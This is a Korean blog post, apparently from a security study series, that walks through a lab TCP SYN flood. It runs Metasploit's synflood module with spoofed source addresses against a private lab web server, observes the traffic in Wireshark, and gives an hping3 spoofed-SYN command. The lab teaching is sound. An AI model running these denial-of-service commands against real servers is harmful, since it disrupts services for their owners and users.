- TCP Syn Flooding Attack 원리
Attacker는 TCP Syn 패킷을 보낸다. Victim은 SYN ACK 패킷을 보내고 Attacker에게 ACK 패킷을 기다린다. 그러나 Attacker는 ACK 패킷을 보내지 않고 계속해서 TCP Syn 패킷을 보낸다.
> Victim 서버는 ACK 패킷을 기다리면서 버퍼를 사용하는대 계속 새로운 SYN 패킷만을 받으니 결국 버퍼의 크기를 초과하게 된다.
- Web Server Attack
( linux200 ) Web Server - Victim
( win2008 ) Client
( kali ) - Attacker
( linux200 )
- 웹서비스 기동 확인
# pgrep -lf httpd
# service httpd restart
# chkconfig httpd on
# cd /var/www/html
# mkdir -p /test
# echo ' Syn Flooding Test Page' > /var/www/html/test/index.html
# firefox http://192.168.27.200/test
( win2008 )
웹 브라우저로 http://192.168.27.200 접속
웹 브라우저로 http://192.168.27.200/test 접속
( kali )
# wireshark & /* wireshark 실행 */
사용 툴 msfconsole
[참고] msfconsole 실행하기 위해 postgresql 실행해야한다.
- postgresql 실행중인지 확인
# service postgresql status
# netstat -antp | grep :5432
# nmap -p 5432 -sV localhost
- postgresql 실행
# service postgresql start
# msfconsole /* msfconsole 실행 조금 오래 걸림*/
msf > show -h
|
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, plugins, info, options [*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions |
|
msf > search synflood
|
[!] Module database cache not built yet, using slow search Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- auxiliary/dos/tcp/synflood normal TCP SYN Flooder |
|
> synflood 를 하려면 auxiliary/dos/tcp/synflood 로 들어가면 된다.
msf > show auxiliary
|
Auxiliary ========= Name Disclosure Date Rank Description ---- --------------- ---- ----------- admin/2wire/xslt_password_reset 2007-08-15 normal 2Wire Cross-Site Request Forgery Password Reset Vulnerability admin/android/google_play_store_uxss_xframe_rce normal Android Browser RCE Through Google Play Store XFO admin/appletv/appletv_display_image normal Apple TV Image Remote Control admin/appletv/appletv_display_video ..... 중략 ..... |
|
msf > use auxiliary/dos/tcp/synflood
msk auxiliary(synflood) > show options
|
Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface NUM no Number of SYNs to send (else unlimited) RHOST yes The target address RPORT 80 yes The target port SHOST no The spoofable source address (else randomizes) SNAPLEN 65535 yes The number of bytes to capture SPORT no The source port (else randomizes) TIMEOUT 500 yes The number of seconds to wait for new data |
|
> Required 가 yes 인 옵션은 빈칸으로 두면 안된다. ( 무조건 세팅이 되어있어야함 )
> 그중 세팅이 안된것은 RHOST
msk auxiliary(synflood) > set RHOST 192.168.27.200
|
RHOST => 192.168.27.200 |
|
msk auxiliary(synflood) > show options
|
Name Current Setting Required Description ---- --------------- -------- ----------- INTERFACE no The name of the interface NUM no Number of SYNs to send (else unlimited) RHOST 192.168.27.200 yes The target address RPORT 80 yes The target port SHOST no The spoofable source address (else randomizes) SNAPLEN 65535 yes The number of bytes to capture SPORT no The source port (else randomizes) TIMEOUT 500 yes The number of seconds to wait for new data |
|
msk auxiliary(synflood) > exploit
|
[*] SYN flooding 192.168.27.200:80... |
|
wireshark
> 200번 서버에 아무 상관없는 89.24.251.216 서버가 SYN 신호를 보낸다.
> Attacker가 IP를 속여서 공격함 그 IP는 랜덤으로 없는 IP를 선정한다.
( win 2008 )
웹 서버에 재 접속해본다.
> 잘 접속이 된다.
이유가 뭘까?
( kali )
> 시간이 지나니 패킷이 전송되지 않는것을 알 수 있다.
> 리눅스 OS 자체에서 패킷을 막는 보안이 설정이 되어있음을 알 수있다.
msf auxiliary(synflood) > exploit
|
[*] SYN flooding 192.168.20.200:80... ^C[-] Auxiliary interrupted by the console user <---- <CTRL + C> [*] Auxiliary module execution completed |
|
msf auxiliary(synflood) > quit
[ 참고 ]
# hping3 -S -a 192.168.27.205 192.168.27.200 -p 80 -c 3
[ 참고 ] synflood 위치
msfconsole에서 쉽게 사용한 synflood.rb 파일 위치
/usr/share/metasploit-framework/modules/auxiliary/dos/tcp/synflood.rb
'Security > Network Security' 카테고리의 다른 글
UDP Flooding Attack (0) | 2017.10.21 |
---|---|
TCP Syn Flooding Attack 보안 방법 (0) | 2017.10.21 |
DoS(Denial of Service) Attack Type (0) | 2017.10.21 |
hping3 명령어 사용하기 (0) | 2017.10.21 |
TCP/UDP 대표적인 서비스 패킷 분석 (0) | 2017.10.19 |